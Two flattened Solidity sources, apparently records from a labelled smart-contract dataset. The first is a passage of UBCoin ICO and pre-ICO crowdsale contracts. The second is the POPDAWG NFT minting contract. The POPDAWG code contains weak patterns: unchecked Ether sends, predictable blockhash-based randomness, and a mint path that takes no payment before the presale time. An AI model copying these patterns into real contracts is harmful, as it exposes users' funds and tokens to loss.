transfer(address _to, uint256 _value) public notLocked returns (bool) { return super.transfer(_to, _value); } function transferFrom(address from, address to, uint256 value) public notLocked returns (bool) { return super.transferFrom(from, to, value); } } contract FreezeTokensWallet is Ownable { using SafeMath for uint256; MintableToken public token; bool public started; uint public startLockPeriod = 180 days; uint public period = 360 days; uint public duration = 90 days; uint public startUnlock; uint public retrievedTokens; uint public startBalance; modifier notStarted() { require(!started); _; } function setPeriod(uint newPeriod) public onlyOwner notStarted { period = newPeriod * 1 days; } function setDuration(uint newDuration) public onlyOwner notStarted { duration = newDuration * 1 days; } function setStartLockPeriod(uint newStartLockPeriod) public onlyOwner notStarted { startLockPeriod = newStartLockPeriod * 1 days; } function setToken(address newToken) public onlyOwner notStarted { token = MintableToken(newToken); } function start() public onlyOwner notStarted { startUnlock = now + startLockPeriod; retrievedTokens = 0; startBalance = token.balanceOf(this); started = true; } function retrieveTokens(address to) public onlyOwner { require(started && now >= startUnlock); if (now >= startUnlock + period) { token.transfer(to, token.balanceOf(this)); } else { uint parts = period.div(duration); uint tokensByPart = startBalance.div(parts); uint timeSinceStart = now.sub(startUnlock); uint pastParts = timeSinceStart.div(duration); uint tokensToRetrieveSinceStart = pastParts.mul(tokensByPart); uint tokensToRetrieve = tokensToRetrieveSinceStart.sub(retrievedTokens); if(tokensToRetrieve > 0) { retrievedTokens = retrievedTokens.add(tokensToRetrieve); token.transfer(to, tokensToRetrieve); } } } } contract InvestedProvider is Ownable { uint public invested; } contract PercentRateProvider is Ownable { uint public percentRate = 100; function setPercentRate(uint newPercentRate) public onlyOwner { percentRate = newPercentRate; } } contract RetrieveTokensFeature is Ownable { function retrieveTokens(address to, address anotherToken) public onlyOwner { ERC20 alienToken = ERC20(anotherToken); alienToken.transfer(to, alienToken.balanceOf(this)); } } contract WalletProvider is Ownable { address public wallet; function setWallet(address newWallet) public onlyOwner { wallet = newWallet; } } contract CommonSale is InvestedProvider, WalletProvider, PercentRateProvider, RetrieveTokensFeature { using SafeMath for uint; address public directMintAgent; uint public price; uint public start; uint public minInvestedLimit; MintableToken public token; uint public hardcap; modifier isUnderHardcap() { require(invested < hardcap); _; } function setHardcap(uint newHardcap) public onlyOwner { hardcap = newHardcap; } modifier onlyDirectMintAgentOrOwner() { require(directMintAgent == msg.sender || owner == msg.sender); _; } modifier minInvestLimited(uint value) { require(value >= minInvestedLimit); _; } function setStart(uint newStart) public onlyOwner { start = newStart; } function setMinInvestedLimit(uint newMinInvestedLimit) public onlyOwner { minInvestedLimit = newMinInvestedLimit; } function setDirectMintAgent(address newDirectMintAgent) public onlyOwner { directMintAgent = newDirectMintAgent; } function setPrice(uint newPrice) public onlyOwner { price = newPrice; } function setToken(address newToken) public onlyOwner { token = MintableToken(newToken); } function calculateTokens(uint _invested) internal returns(uint); function mintTokensExternal(address to, uint tokens) public onlyDirectMintAgentOrOwner { mintTokens(to, tokens); } function mintTokens(address to, uint tokens) internal { token.mint(this, tokens); token.transfer(to, tokens); } function endSaleDate() public view returns(uint); function mintTokensByETHExternal(address to, uint _invested) public onlyDirectMintAgentOrOwner returns(uint) { return mintTokensByETH(to, _invested); } function mintTokensByETH(address to, uint _invested) internal isUnderHardcap returns(uint) { invested = invested.add(_invested); uint tokens = calculateTokens(_invested); mintTokens(to, tokens); return tokens; } function fallback() internal minInvestLimited(msg.value) returns(uint) { require(now >= start && now < endSaleDate()); wallet.transfer(msg.value); return mintTokensByETH(msg.sender, msg.value); } function () public payable { fallback(); } } contract StagedCrowdsale is Ownable { using SafeMath for uint; struct Milestone { uint period; uint bonus; } uint public totalPeriod; Milestone[] public milestones; function milestonesCount() public view returns(uint) { return milestones.length; } function addMilestone(uint period, uint bonus) public onlyOwner { require(period > 0); milestones.push(Milestone(period, bonus)); totalPeriod = totalPeriod.add(period); } function removeMilestone(uint8 number) public onlyOwner { require(number < milestones.length); Milestone storage milestone = milestones[number]; totalPeriod = totalPeriod.sub(milestone.period); delete milestones[number]; for (uint i = number; i < milestones.length - 1; i++) { milestones[i] = milestones[i+1]; } milestones.length--; } function changeMilestone(uint8 number, uint period, uint bonus) public onlyOwner { require(number < milestones.length); Milestone storage milestone = milestones[number]; totalPeriod = totalPeriod.sub(milestone.period); milestone.period = period; milestone.bonus = bonus; totalPeriod = totalPeriod.add(period); } function insertMilestone(uint8 numberAfter, uint period, uint bonus) public onlyOwner { require(numberAfter < milestones.length); totalPeriod = totalPeriod.add(period); milestones.length++; for (uint i = milestones.length - 2; i > numberAfter; i--) { milestones[i + 1] = milestones[i]; } milestones[numberAfter + 1] = Milestone(period, bonus); } function clearMilestones() public onlyOwner { require(milestones.length > 0); for (uint i = 0; i < milestones.length; i++) { delete milestones[i]; } milestones.length -= milestones.length; totalPeriod = 0; } function lastSaleDate(uint start) public view returns(uint) { return start + totalPeriod * 1 days; } function currentMilestone(uint start) public view returns(uint) { uint previousDate = start; for(uint i=0; i < milestones.length; i++) { if(now >= previousDate && now < previousDate + milestones[i].period * 1 days) { return i; } previousDate = previousDate.add(milestones[i].period * 1 days); } revert(); } } contract ICO is StagedCrowdsale, CommonSale { FreezeTokensWallet public teamTokensWallet; address public bountyTokensWallet; address public reservedTokensWallet; uint public teamTokensPercent; uint public bountyTokensPercent; uint public reservedTokensPercent; function setTeamTokensPercent(uint newTeamTokensPercent) public onlyOwner { teamTokensPercent = newTeamTokensPercent; } function setBountyTokensPercent(uint newBountyTokensPercent) public onlyOwner { bountyTokensPercent = newBountyTokensPercent; } function setReservedTokensPercent(uint newReservedTokensPercent) public onlyOwner { reservedTokensPercent = newReservedTokensPercent; } function setTeamTokensWallet(address newTeamTokensWallet) public onlyOwner { teamTokensWallet = FreezeTokensWallet(newTeamTokensWallet); } function setBountyTokensWallet(address newBountyTokensWallet) public onlyOwner { bountyTokensWallet = newBountyTokensWallet; } function setReservedTokensWallet(address newReservedTokensWallet) public onlyOwner { reservedTokensWallet = newReservedTokensWallet; } function calculateTokens(uint _invested) internal returns(uint) { uint milestoneIndex = currentMilestone(start); Milestone storage milestone = milestones[milestoneIndex]; uint tokens = _invested.mul(price).div(1 ether); if(milestone.bonus > 0) { tokens = tokens.add(tokens.mul(milestone.bonus).div(percentRate)); } return tokens; } function finish() public onlyOwner { uint summaryTokensPercent = bountyTokensPercent.add(teamTokensPercent).add(reservedTokensPercent); uint mintedTokens = token.totalSupply(); uint allTokens = mintedTokens.mul(percentRate).div(percentRate.sub(summaryTokensPercent)); uint foundersTokens = allTokens.mul(teamTokensPercent).div(percentRate); uint bountyTokens = allTokens.mul(bountyTokensPercent).div(percentRate); uint reservedTokens = allTokens.mul(reservedTokensPercent).div(percentRate); mintTokens(teamTokensWallet, foundersTokens); mintTokens(bountyTokensWallet, bountyTokens); mintTokens(reservedTokensWallet, reservedTokens); token.finishMinting(); teamTokensWallet.start(); teamTokensWallet.transferOwnership(owner); } function endSaleDate() public view returns(uint) { return lastSaleDate(start); } } contract NextSaleAgentFeature is Ownable { address public nextSaleAgent; function setNextSaleAgent(address newNextSaleAgent) public onlyOwner { nextSaleAgent = newNextSaleAgent; } } contract PreICO is NextSaleAgentFeature, CommonSale { uint public period; function calculateTokens(uint _invested) internal returns(uint) { return _invested.mul(price).div(1 ether); } function setPeriod(uint newPeriod) public onlyOwner { period = newPeriod; } function finish() public onlyOwner { token.setSaleAgent(nextSaleAgent); } function endSaleDate() public view returns(uint) { return start.add(period * 1 days); } function fallback() internal minInvestLimited(msg.value) returns(uint) { require(now >= start && now < endSaleDate()); wallet.transfer(msg.value); return mintTokensByETH(msg.sender, msg.value); } } contract ReceivingContractCallback { function tokenFallback(address _from, uint _value) public; } contract UBCoinToken is MintableToken { string public constant name = "UBCoin"; string public constant symbol = "UBC"; uint32 public constant decimals = 18; mapping(address => bool) public registeredCallbacks; function transfer(address _to, uint256 _value) public returns (bool) { return processCallback(super.transfer(_to, _value), msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { return processCallback(super.transferFrom(_from, _to, _value), _from, _to, _value); } function registerCallback(address callback) public onlyOwner { registeredCallbacks[callback] = true; } function deregisterCallback(address callback) public onlyOwner { registeredCallbacks[callback] = false; } function processCallback(bool result, address from, address to, uint value) internal returns(bool) { if (result && registeredCallbacks[to]) { ReceivingContractCallback targetCallback = ReceivingContractCallback(to); targetCallback.tokenFallback(from, value); } return result; } } contract Configurator is Ownable { MintableToken public token; PreICO public preICO; ICO public ico; FreezeTokensWallet public teamTokensWallet; function deploy() public onlyOwner { token = UBCoinToken(0x2D3E7D4870a51b918919E7B851FE19983E4c38d5); preICO = new PreICO(); preICO.setWallet(0x00EE9d057f66754C7D92550F77Aeb0A87AE34B01); preICO.setStart(1520640000); preICO.setPeriod(22); preICO.setPrice(18667000000000000000000); preICO.setMinInvestedLimit(50000000000000000000); preICO.setToken(token); preICO.setHardcap(21500000000000000000000); preICO.setNextSaleAgent(0xdb58279c60C7641dABB015665db32372D031e55f); address manager = 0xF1f94bAD54C8827C3B53754ad7dAa0FF5DCD527d; preICO.transferOwnership(manager); } }
1
4,329
pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } pragma solidity ^0.8.0; interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } pragma solidity ^0.8.0; interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom(address from, address to, uint256 tokenId) external; function transferFrom(address from, address to, uint256 tokenId) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } pragma solidity ^0.8.0; interface IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } pragma solidity ^0.8.0; interface IERC721Enumerable is IERC721 { function totalSupply() external view returns (uint256); function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); function tokenByIndex(uint256 index) external view returns (uint256); } pragma solidity ^0.8.0; interface IERC721Receiver { function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } pragma solidity ^0.8.0; abstract contract ERC165 is IERC165 { bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { _registerInterface(_INTERFACE_ID_ERC165); } function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } pragma solidity ^0.8.0; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } pragma solidity ^0.8.0; library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.8.0; library EnumerableSet { struct Set { bytes32[] _values; mapping (bytes32 => uint256) _indexes; } function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); set._indexes[value] = set._values.length; return true; } else { return false; } } function _remove(Set storage set, bytes32 value) private returns (bool) { uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; bytes32 lastvalue = set._values[lastIndex]; set._values[toDeleteIndex] = lastvalue; set._indexes[lastvalue] = toDeleteIndex + 1; set._values.pop(); delete set._indexes[value]; return true; } else { return false; } } function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } function _length(Set storage set) private view returns (uint256) { return set._values.length; } function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } struct Bytes32Set { Set _inner; } function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } struct AddressSet { Set _inner; } function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } struct UintSet { Set _inner; } function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } pragma solidity ^0.8.0; library EnumerableMap { struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { MapEntry[] _entries; mapping (bytes32 => uint256) _indexes; } function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { map._entries.push(MapEntry({ _key: key, _value: value })); map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } function _remove(Map storage map, bytes32 key) private returns (bool) { uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; MapEntry storage lastEntry = map._entries[lastIndex]; map._entries[toDeleteIndex] = lastEntry; map._indexes[lastEntry._key] = toDeleteIndex + 1; map._entries.pop(); delete map._indexes[key]; return true; } else { return false; } } function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } function _length(Map storage map) private view returns (uint256) { return map._entries.length; } function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); return (true, map._entries[keyIndex - 1]._value); } function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); return map._entries[keyIndex - 1]._value; } function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); return map._entries[keyIndex - 1]._value; } struct UintToAddressMap { Map _inner; } function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } pragma solidity ^0.8.0; library Strings { function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } pragma solidity ^0.8.0; contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; mapping (address => EnumerableSet.UintSet) private _holderTokens; EnumerableMap.UintToAddressMap private _tokenOwners; mapping (uint256 => address) private _tokenApprovals; mapping (address => mapping (address => bool)) private _operatorApprovals; string private _name; string private _symbol; mapping (uint256 => string) private _tokenURIs; string private _baseURI; bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); if (bytes(base).length == 0) { return _tokenURI; } if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return string(abi.encodePacked(base, tokenId.toString())); } function baseURI() public view virtual returns (string memory) { return _baseURI; } function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } function totalSupply() public view virtual override returns (uint256) { return _tokenOwners.length(); } function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom(address from, address to, uint256 tokenId) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); _approve(address(0), tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } pragma solidity ^0.8.0; abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity ^0.8.0; contract POPDAWG is ERC721, Ownable { using SafeMath for uint256; string public POPDAWG_PROVENANCE = ""; address payable dev_address; address public admin; uint256 public startingIndexBlock; uint256 public startingIndex; uint256 public constant dawgPrice = 28000000000000000; uint public constant maxDawgPurchase = 20; uint256 public MAX_DAWG; bool public saleIsActive = false; uint256 public REVEAL_TIMESTAMP; uint256 public SALE_START; uint256 public PRESALE; constructor(string memory name, string memory symbol) ERC721(name, symbol) { MAX_DAWG = 3888; SALE_START = 1639958400; REVEAL_TIMESTAMP = SALE_START.add(4 days + 16 hours); PRESALE = SALE_START.add(2 hours); dev_address = payable(0x2f5DDdd8703a6E0509Ac0314B2df7f5c374B3982); admin = 0xbE5B09aD1f0c01A7f4995623E434cBc0Dd71Db3f; } modifier onlyAdmin() { require(admin == _msgSender(), "Dev: caller is not the admin"); _; } function withdraw() public onlyOwner { uint balance = address(this).balance; payable(msg.sender).send(balance.mul(75).div(100)); dev_address.send(balance.sub(balance.mul(75).div(100))); } function setAdmin(address _admin) public onlyOwner { admin = _admin; } function setProvenanceHash(string memory provenanceHash) public onlyAdmin { POPDAWG_PROVENANCE = provenanceHash; } function setBaseURI(string memory baseURI) public onlyAdmin { _setBaseURI(baseURI); } function flipSaleState() public onlyAdmin { saleIsActive = !saleIsActive; } function mint(uint numberOfTokens) public payable { require(saleIsActive, "Sale must be active to mint DAWG"); require(numberOfTokens <= maxDawgPurchase, "Can only mint 20 tokens at a time"); require(totalSupply().add(numberOfTokens) <= MAX_DAWG, "Purchase would exceed max supply of POPDAWGS"); if(block.timestamp > PRESALE){ require(dawgPrice.mul(numberOfTokens) <= msg.value, "Ether value sent is not correct"); } for(uint i = 0; i < numberOfTokens; i++) { uint mintIndex = totalSupply(); if (totalSupply() < MAX_DAWG) { _safeMint(msg.sender, mintIndex); } } if (startingIndexBlock == 0 && (totalSupply() == MAX_DAWG || block.timestamp >= REVEAL_TIMESTAMP)) { startingIndexBlock = block.number; } } function setStartingIndex() public { require(startingIndex == 0, "Starting index is already set"); require(startingIndexBlock != 0, "Starting index block must be set"); startingIndex = uint(blockhash(startingIndexBlock)) % MAX_DAWG; if (block.number.sub(startingIndexBlock) > 255) { startingIndex = uint(blockhash(block.number - 1)) % MAX_DAWG; } if (startingIndex == 0) { startingIndex = startingIndex.add(1); } } function emergencySetStartingIndexBlock() public onlyAdmin { require(startingIndex == 0, "Starting index is already set"); startingIndexBlock = block.number; } }
0
464
